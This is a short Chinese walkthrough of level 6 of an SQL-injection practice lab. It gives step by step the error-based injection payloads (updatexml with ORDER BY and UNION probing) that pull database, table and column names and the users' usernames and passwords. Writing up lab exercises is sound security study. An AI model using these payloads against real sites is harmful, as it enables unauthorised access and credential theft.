SQL靶场第六关

一.判断闭合点

闭合点是"

输入?id=1'页面无变化

输入?id=1"页面报错,加上--+,页面恢复正常,说明闭合点是"

二.判断列数

输入?id=1" order by 3--+页面正常

输入?id=1" order by 4--+页面异常,说明有3列

三.查询数据库

我们先判断回显点,输入?id=1" union select 1,2,3--+

发现没有回显点,我们利用报错注入

输入?id=1" and updatexml(1,concat(1,(select database())),1)--+查询到数据库为security

四.查询数据表

输入?id=1" and updatexml(1,concat(1,(select group_concat(table_name) from information_schema.tables where table_schema='security')),1)--+

五.查询列名

输入?id=1" and updatexml(1,concat(1,(select group_concat(column_name) from information_schema.columns where table_schema='security' and table_name='users')),1)--+

六.查询数据

输入?id=1" and updatexml(1,concat(1,(select group_concat(id,'~',username,'~',password) from users)),1)--+

这里我们发现数据不全,我们就需要用到limit函数

第一个数据:

输入?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 0,1)),1)--+

第二个数据:?id=1" and updatexml(1,concat(1,(select concat(id,'~',username,'~',password) from users limit 1,1)),1)--+

。。。依次类推。。。

以上就是sql靶场第六关的通关攻略!

相关推荐
码农幻想梦12 小时前
实验四 mybatis动态sql及逆向工程
sql·性能优化·mybatis
五阿哥永琪12 小时前
MySQL面试题 事务的隔离级别
数据库·mysql
不染尘.13 小时前
Linux的rpm与yum
linux·mysql·jdk·centos·tomcat·ssh
DK.千殇13 小时前
前四天总结
数据库
Red丶哞13 小时前
[Django Message超全总结教程](武沛齐老师)
数据库·django·sqlite
数据知道13 小时前
PostgreSQL实战:一文掌握 pg_hba.conf 配置,涵盖密码认证、IP限制与安全策略
数据库·tcp/ip·postgresql
数据知道13 小时前
PostgreSQL实战:序列深度解析,高并发下的ID生成陷阱与优化
数据库·postgresql
Mr__Miss13 小时前
Redis网络模型
数据库·redis·面试
妄汐霜13 小时前
小白学习笔记(MySQL基础中其他知识)
笔记·学习·mysql
哈__13 小时前
2026 年国产时序数据库技术深度解析:多模态融合架构与工程实践
数据库·架构·时序数据库